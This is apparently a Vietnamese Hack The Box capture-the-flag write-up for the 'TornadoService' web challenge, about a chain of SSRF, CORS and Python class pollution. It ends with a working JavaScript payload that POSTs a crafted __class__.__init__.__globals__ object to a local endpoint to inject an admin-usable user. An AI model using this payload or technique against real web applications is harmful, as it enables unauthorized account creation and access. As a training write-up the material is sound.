---
# System prepended metadata

title: HTB - WEB - TornadoService

---

Challenge này có lỗi SSRF, CORS, và update object tùy ý. 
I. Phân tích source code:
![Screenshot 2025-09-12 101604](https://hackmd.io/_uploads/rJIYeL-sxe.png)
Ban đầu, chúng ta sẽ thấy được tham số `ip` nhận trực tiếp từ input người dùng, sau đó lại được curl từ hàm `bot_thread(ip)`:
![image](https://hackmd.io/_uploads/rk_D-8Woxl.png)
Ở đây, bot chỉ có thể GET, chứ không thể POST. Tuy nhiên, mình có thể cho nó GET tới web server của attacker rồi CORS một request POST. Vậy POST gì:
![Screenshot 2025-09-12 101646](https://hackmd.io/_uploads/SywOMUZjel.png)
Ở đây, có một chức năng UpdateTornado cơ bản là nhận một data JSON từ input sau đó đưa vào hàm `update_tornados()`, hàm này:
![image](https://hackmd.io/_uploads/HyERfL-ill.png)
Nếu data chỉ bao gồm các data từ các thuộc tính đã có thì nó sẽ update data đó, còn nếu có thêm thuộc tính thì nó sẽ add thêm vào object luôn. Giống cơ chế update của NoSQL.
Để lấy được FLAG, ta phải cần đăng nhập, nhưng lại không thể có username và password, vì:
![image](https://hackmd.io/_uploads/rypU7L-slg.png)
![image](https://hackmd.io/_uploads/B1RDmL-jgg.png)
II. Khai thác
Sau khi phân tích, chúng ta sẽ có một con đường khai thác như sau:
![image](https://hackmd.io/_uploads/BJs8BLWoxx.png)
Ta sẽ code một webServer khi truy cập sẽ chạy JS curl POST tới /update_tornado chạy trên localhost của challenge.
Trong đó, phần update sẽ chứa data malicious để có thể thêm mới một USER.
Tiếp theo, khai thác SSRF ở /report_tornado. Sau đó đăng nhập, get FLAG.
* WebServer:
![image](https://hackmd.io/_uploads/ry9-8IZsgl.png)
Ở đây, mình dùng coder vì cần một domain public.
![image](https://hackmd.io/_uploads/BkQBILWixe.png)
![image](https://hackmd.io/_uploads/B10uI8-ixl.png)
* SSRF:
![Screenshot 2025-09-12 101814](https://hackmd.io/_uploads/SJemDI-igg.png)
* Login:
![Screenshot 2025-09-12 101858](https://hackmd.io/_uploads/HJONvIboex.png)
* Get Flag:
![image](https://hackmd.io/_uploads/HyQPPLZsex.png)

Phân tích thêm payload này, khi về thuộc tính __class__, nó sẽ cố gắng đi về class global (class cha của mọi class trong Python), rồi về class User và thêm một user mới.
```html
<script>
    let firstMachine = 'host-2541';
    let json = {
        "machine_id": firstMachine,
        "status": "okbAby",
        "__class__": {
            "__init__": {
                "__globals__": {
                    "USERS": [{ "username": "hades", "password": "hades1234" }]
                }
            }
        }
    };

    fetch("http://127.0.0.1:1337/update_tornado", {
        method: "POST",
        mode: "cors",
        body: JSON.stringify(json)
    })
        .then(res => res.text())
        .then(data => console.log("Server response:", data))
        .catch(err => console.error("Error:", err));
</script>
```